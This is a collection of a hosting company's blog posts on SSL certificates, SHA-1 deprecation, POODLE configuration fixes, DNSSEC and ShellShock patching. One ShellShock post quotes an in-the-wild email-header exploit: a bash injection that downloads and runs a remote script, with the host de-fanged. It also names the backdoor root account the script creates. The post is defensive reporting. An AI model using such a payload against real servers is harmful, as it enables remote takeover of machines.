Customers with hosting accounts on either yali or onza can now get free SSL certificates for websites, allowing you to have an https version of your website. We’re using the Let’s Encrypt certificate authority to provide the certificates.

To get a certificate and enable https hosting for your site, simply press the button in the control panel, and within 5 minutes you should have a working https site.  You can find the option under “Web and Email Hosting“.

Free SSL at the press of a button

Let’s Encrypt certificates have a short expiry period, but we will take care of automatically renewing them for you.

Why use HTTPS/SSL?

Using SSL on your website means that traffic between our server and your user’s computers is encrypted and can’t be intercepted (despite David Cameron’s desires).  It allows browsers to guarantee that they are indeed talking to the website shown in the address bar, even if they are using an untrusted network connection.  Even if you don’t view the security aspects as a benefit, Google have previously announced that they will boost the page ranking of SSL-enabled sites.

Sphinx accounts

Unfortunately, this service is not yet available to customers on our sphinx server.  We are working on that, and will have it enabled in the near future.

We’re still installing iOS9 for testing reasons onto this Apple Device

tl;dr iOS9 applications only work with the newest SHA-256 certificates. If your iOS9 application or website is showing certificate errors and you’d like some help, contact support@mythic-beasts.com

iOS9 was recently released which brings a number of changes. In addition to the widely publicised changes about IPv6 (iOS9 prefers IPv6 and all applications in the App Store must function without issue on an IPv6 only network), Apple has forced obsolescence of older types of SSL certificate.

SSL certificates use hashing functions to provide security. The Secure Hash Algorithm 1 (SHA-1), was published by the NSA in 1995 as the standard for secure authentication. The first theoretical attacks were shown in 2005 leading to a recommendation in 2010 that we abandon SHA-1 and move to SHA-256. In 2014 Google put a sunset date for SHA-1 of December 2016 – if your website trusts an SHA-1 certificate past this date Chrome refuses to regard your site as secure.

With iOS9, Apple pulled the date at which everyday software stops working with SHA-1 forward. If your website or application is secured with a SHA-1 certificate, iOS9 gives warnings and errors. The fix is easy, we can provide or re-issue your existing certificate with an iOS9 compatible – and more importantly more secure – SHA-256 certificate.

If you read security lists, you will already be aware that we’re expecting a new release of OpenSSL tomorrow to fix a high severity vulnerability.

We will be reviewing the details as soon as the vulnerability is released, and will be patching the affected servers shortly after the updated packages are released, if necessary we will be contacting customer to reissue keys as we did after the now infamous Heartbleed vulnerability.

If you have any questions, or would like to upgrade to a manged service so we catch these kinds of issues for you, you can contact us at support@mythic-beasts.com.

SSL Certificates do two things. They encrypt the traffic between the end user and the website, and they provide authentication that confirms the website is who they say they are. As we previously wrote about at present the authentication step is done using a piece of maths called SHA-1.

What the SHA-1 function does, is to provide a signature that says ‘The Certificate Authority confirms that the public key for Mythic Beasts is ….’. It’s extremely important that nobody else can forge this signature, otherwise anybody could present their public key instead of the Mythic Beasts public key and intercept all of the data.

Now SHA-1 has been subject to a lot of analysis by people attempting to forge keys, and slowly progress has been made. SHA-1 has not been “broken”, but thanks to improvements in mathematics and computing, the estimated cost of forging a certificate has steadily fallen from more-money-than-exists to a-large-country-could-do-it and in the next 5 years is likely to reach script-kiddy-with-a-botnet-could-do-it.

So Google, Firefox and others now refuse to accept SHA-1 based certificates that will last into 2017. Whilst you can’t forge them now, in two years time it’s likely that well funded organizations may be able to do so. As a result, the Internet has had to migrate to SHA-2, a new function that achieves the same as SHA-1 for proving authenticity but has no known attacks: forging a SHA-2 signature is currently believed to be entirely infeasible. Google’s announcement of their intention to deprecate SHA-1 was greeted with dismay and anger, but in the end had the desired effect. The certification authorities moved quite quickly to make SHA-2 the default.

At Mythic Beasts this week, we replaced our SSL certificate for all our servers. As expected, the new certificate we were issued was SHA-2 based. Deployment of the new certificate went smoothly, sufficiently smoothly that not a single customer noticed. A short time later we realised that we now didn’t seem to receive any support mail at all.

Our ticket tracking system runs on top of mono, an open source reimplementation of .NET. The older version of mono it uses doesn’t have support for SHA-2 certificates, so our tracker was seeing the secure connection, failing to authenticate and refusing to send or receive email. Briefly we worked around this by turning encryption off for the support system – as the traffic is entirely within our network we aren’t so worried about it being intercepted.

However, we know that our end-users use a wide variety of different clients for email, some of which are quite old and obscure. So we thought it was rather likely that we were breaking email functionality for existing customers with the SHA-2 certificate. We decided the sensible thing to do would be to use the new SHA-2 certificate just for websites, and obtain a new SHA-1 certificate for mail applications.

We will face the same issue again in 12 months. (Except we don’t even know if the certification authority will still offer the choice of getting a SHA-1 certificate then.) We’re hoping that a year will force a number of updates to mail clients and system libraries such that next year we can deploy SHA-2 everywhere. Eventually, we will have to draw a line, and say that if our customers’ clients don’t support SHA-2, they will have to upgrade them, or use unencrypted access.

In a little known fact, here are two old men singing about SSL security beginning with a limited understanding of SHA hashes. It delightfully uses the metaphor of a journey to meet their loved one to show how the process of security is a continuous process that can never be fully achieved.

We’re please to announced that we can now set DS records for any domains registered with us.  At present, only UK domains can be configured  through the control panel.  For any other domains, please email support and we’ll put the records in place for you.

Control panel integration and other DNSSEC improvements will be coming soon.

Today we’re at the UK Network Operators Forum and we’ve just had a talk from Kevin Williams, Partnership Engagement and National Cyber Crime Capabilities Manager at the National Crime Agency.

He was asked,

‘Do you believe that banning secure encryption will make the UK more secure’.

His answer was,

‘My personal opinion is no, and you can quote me on that’.

Which shows that at least one person in our government has some clue even if David Cameron doesn’t.

We’ve already written about ShellShock, a vulnerability in bash.

Now we patched our systems quickly against it because we were aware that it looked easy to exploit and there were a great many different paths by which a piece of untrusted user input could arrive at a bash shell and exploit it. We’d seen several attacks over the web almost immediately, but now we’ve seen them starting to arrive by email.


To:() { :; }; /bin/sh -c '/bin/sh -c 'cd /tmp ;curl -sO
127.0.0.1/ex.sh;lwp-download http://127.0.0.1/ex.sh;wget
127.0.0.1/ex.sh;fetch 127.0.0.1/ex.sh;sh ex.sh;rm -fr ex.*' &'
&;
References:() { :; }; ...payload...
Cc:() { :; }; ...payload...
Bcc:() { :; }; ...payload...
From:() { :; }; ...payload...
Subject:() { :; }; ...payload...
Date:() { :; }; ...payload...
Message-ID:() { :; }; ...payload...
Comments:() { :; }; ...payload...
Keywords:() { :; }; ...payload...
Resent-Date:() { :; }; ...payload...
Resent-From:() { :; }; ...payload...


I’ve de-fanged the exploit by changing the IP address. The script downloaded adds a root user called inetd with a password of Inetd1!@#, to the machine, neatly giving a remote shell on any machine it succeeds on. The webserver logs will handily hold the IP addresses of all the infected machines. So all you need now is a nasty piece of spamming software to try and send a message through every mail server in the world and you’ve built a spam network consisting entirely of legitimate mailservers, or if you’re a government spying agency – the ability to intercept vast quantities of email with ease.

Note: It’s been commented that this only affects you if your mail server is running as root. That’s not true – imagine that it’s an email for root@the-mail-server-host which goes into a mail filter that calls out to a shell, not to mention depositing root exploits into logfiles that might get processed. There’s a vast number of subtle ways that this could end up in a copy of bash running as root.

Earlier this week, we wrote about the POODLE security vulnerability. As as result of this, we’ve been working with our customers to disable SSLv3 support from their SSL/TLS services.

At Mythic Beasts, we use Pound as a load balancer fairly extensively. It’s free, secure, fairly quick and easy to configure. Unfortunately, it didn’t have a configuration option to disable SSLv3.

Image courtesy of SOMMAI at FreeDigitalPhotos.net

One of the advantages of hosting on open source software is that we’re not at the mercy of a vendor for software updates, so we took a patch which adds the ability to disable SSLv3, added it to the standard Debian package and made it available to our managed customers through our private package repository.

This same package is now in Debian unstable and is working its way into the Debian security and backports repositories. This is made easier because the Debian pound maintainer, Brett Parker, works for Mythic Beasts and wrote the technical details on his blog.

As we have a number of customers using pound on CentOS, we have also created patched versions of CentOS packages of Pound, and raised a ticket With Fedora in order to get this into the stable build.

He’s responsible for your SSL vulnerabilities. Photo credit: Greg Westfall, Flickr, CC-BY.

SSL (or more accurately, its successor, TLS) is the technology used to keep your sensitive information, such as credit card details, secure. When you see the green padlock in your address bar, you know that your connection is safe from eavesdroppers. Or is it? Google have published details of a vulnerability in SSLv3. The vulnerability shouldn’t be an issue because SSLv3 has been almost completely replaced by TLS, but some implementations of TLS allow a “secure” connection to be downgraded to SSLv3.

When a computer connects to a secure service, such as an HTTPS website, the two sides will negotiate the version of the protocol to be used (a “handshake”). A server will initially offer a handshake using the strongest security it and the client are capable of. If the client does not respond correctly – for example because the client was incorrectly detected (and therefore is incapable of using that level of security), or because of a network glitch, the server will offer progressively weaker handshakes, until SSLv3 is used. This means that an active attacker could tamper with the SSL handshake using a man in the middle attack until it degrades to SSLv3.

At this time¹, the best way to avoid this vulnerability is to disable support for SSLv3, both client-side and server-side. Systems administrators should disable SSLv3 by updating their server configuration, although note that in doing so you will prevent access from some very old platforms, most notably IE6 on Windows XP, which don’t support TLS.  End users should update their web browsers, as vendors are releasing new versions which disable SSLv3. If you’re still using IE6 on Windows XP and didn’t already have enough good reasons to upgrade, then this is another very good one.

Managed customers will have received an email from us, offering to make the necessary configuration changes to disable SSLv3. We would normally immediately apply a security patch, but as this breaks Windows XP / Internet Explorer 6 support we’ll wait for confirmation before applying it.

If you’re not a managed customer, add the following line to your Apache configuration file:

SSLProtocol All -SSLv2 -SSLv3

If you’re using Nginx, add:

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

While dealing with SSLv3, it’s a good idea to run an SSL test using Qualys SSL Labs – this will check things like lack of SSL2 support (vulnerable since 1995), using SHA256, TLS 1.2 support, and support for perfect forward secrecy, among other things.

If this all sounds too complicated, it may be worth considering our management service. We’ll apply security patches for you, as well as monitoring your application and intervening if necessary, providing graphing and backups, and checking the health of your hard disks.

1 – TLS_FALLBACK_SCSV is an alternative fix, however at the moment server support is poor. However, a strong advantage of enabling it is that “fallback” attacks will be prevented in the future – allowing clients to use weaker security is rarely a good idea.

As has been widely reported, a very major vulnerability in the bash shell was announced a couple of days ago (the event has been dubbed “Shell Shock” by the media). Sadly, the first set of updates released were insufficient to close the hole completely (“AfterShock” is the catchy name). Further updates were released late last night. These have been applied to all Mythic Beasts internal servers, and all managed customer servers.

Customers with unmanaged servers are urged to apply this second set of updates as quickly as possible.

So far, Apple have not released any updates for OS X. The version of bash distributed with OS X is demonstrably vulnerable to the security bug, so no doubt updates will be forthcoming. In the mean time, one possibility is to build bash from source; instructions for doing so can be found on the Internet.